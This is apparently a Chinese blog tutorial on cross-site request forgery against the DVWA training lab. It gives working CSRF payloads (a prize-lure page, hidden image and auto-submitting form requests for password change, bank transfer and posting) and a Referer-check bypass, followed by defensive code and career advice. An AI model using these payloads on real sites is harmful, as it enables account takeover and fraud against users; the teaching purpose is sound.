CSRF跨站请求伪造

漏洞原理

CSRF工作流程

复制代码
1. 用户登录网站A,获得Cookie
2. 用户访问恶意网站B(未退出A)
3. 网站B构造请求发送到网站A
4. 浏览器自动携带Cookie
5. 网站A认为是合法请求并执行

Low级别攻击

功能分析

复制代码
页面功能:修改密码
请求方式:GET
URL: http://127.0.0.1/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change

后端代码

php 复制代码
<?php
if(isset($_GET['password_new'])) {
    $pass_new = $_GET['password_new'];
    $pass_conf = $_GET['password_conf'];
    
    if($pass_new == $pass_conf) {
        // 修改密码(无任何验证!)
        $query = "UPDATE users SET password = MD5('$pass_new') WHERE user = 'admin'";
        mysqli_query($conn, $query);
    }
}
?>

漏洞点

  • 使用GET请求修改密码
  • 无Token验证
  • 无二次确认
  • 无当前密码验证

攻击实施

恶意页面代码

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <title>您已中奖!</title>
</head>
<body>
    <h1>恭喜您!</h1>
    <p>
        <b>
            <a style="background-color: red; padding: 10px; color: white;" 
               href="http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change">
                点击领取奖品
            </a>
        </b>
    </p>
</body>
</html>

攻击流程

复制代码
1. 管理员登录DVWA(127.0.0.1)
2. 在同一浏览器打开攻击者网页
3. 点击"点击领取奖品"链接
4. 密码被修改为"hacked"
5. 管理员下次登录失败

自动化攻击

html 复制代码
<!-- 用户打开页面就自动触发 -->
<img src="http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change" style="display:none">

<!-- 或使用JavaScript -->
<script>
document.location='http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change';
</script>

实际危害场景

金融系统攻击

html 复制代码
<!-- 转账请求 -->
<img src="http://bank.com/transfer?to=attacker&amount=10000">

社交网络攻击

html 复制代码
<!-- 关注攻击者 -->
<img src="http://social.com/follow?user=attacker">

<!-- 发布广告内容 -->
<form action="http://social.com/post" method="POST">
    <input name="content" value="广告内容">
</form>
<script>document.forms[0].submit();</script>

电商平台攻击

html 复制代码
<!-- 修改收货地址 -->
<form action="http://shop.com/address" method="POST">
    <input name="address" value="攻击者地址">
</form>

Medium级别绕过

防护代码

php 复制代码
if(stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false) {
    // 检查Referer头
}

绕过方法

html 复制代码
<!-- 在攻击者域名中包含目标域名 -->
攻击者域名: 127.0.0.1.attacker.com
或创建子域名: 127-0-0-1.attacker.com

CSRF完整防护方案

1. Token验证(最重要)

php 复制代码
// 生成Token
session_start();
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// HTML表单
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">

// 验证Token
if($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF Token验证失败');
}
php 复制代码
setcookie('session', $value, [
    'samesite' => 'Strict',  // 或'Lax'
    'httponly' => true,
    'secure' => true
]);

3. 验证Referer

php 复制代码
$referer = $_SERVER['HTTP_REFERER'] ?? '';
if(strpos($referer, 'https://yourdomain.com') !== 0) {
    die('非法请求来源');
}

4. 二次确认

php 复制代码
// 敏感操作要求输入当前密码
if($_POST['current_password'] !== $user_password) {
    die('当前密码错误');
}

5. 验证码

php 复制代码
// 敏感操作添加验证码
if(!verify_captcha($_POST['captcha'])) {
    die('验证码错误');
}

职业安全建议

网络安全职业现状

行业特点

  • 相比其他行业,安全岗位裁员较少
  • 外企可能存在合同陷阱(6个月试用期)
  • 技术能力是最好的保障

风险警示

复制代码
入侵公司系统 → 被安全团队溯源 → 立即辞退 → 法律责任

保命技能

运维工程师必备

  • Linux/Windows Server管理
  • 服务器架构设计
  • 应急响应能力
  • DOS攻击防护
  • 提权技术理解

开发工程师现状

  • 普遍缺乏安全意识
  • 99.9%不学习安全知识
  • 成为最大的安全隐患

建议

  • 技术能力强的开发者学习安全知识
  • 找红队专家审核关键代码
  • 定期进行安全培训
相关推荐
程序员海军2 小时前
我的2025:做项目、跑副业、见人、奔波、搬家、维权、再回上海
前端·程序员·年终总结
我来整一篇2 小时前
[Razor] ASP.NET Core MVC 前端组件快速使用总结
前端·asp.net·mvc
走在路上的菜鸟2 小时前
Android学Flutter学习笔记 第五节 Android视角认知Flutter(插件plugins)
android·学习·flutter
P7Dreamer2 小时前
微信小程序处理Range分片视频播放问题:前端调试全记录
前端·微信小程序
RedHeartWWW2 小时前
初识next-auth,和在实际应用中的几个基本场景(本文以v5为例,v4和v5的差别主要是在个别显式配置和api,有兴趣的同学可以看官网教程学习)
前端·next.js
C_心欲无痕2 小时前
前端页面中,如何让用户回到上次阅读的位置
前端
C_心欲无痕2 小时前
前端本地开发构建和更新的过程
前端
Mintopia2 小时前
🌱 一个小而美的核心团队能创造出哪些奇迹?
前端·人工智能·团队管理
蚊道人2 小时前
Nuxt 4 学习文档
前端·vue.js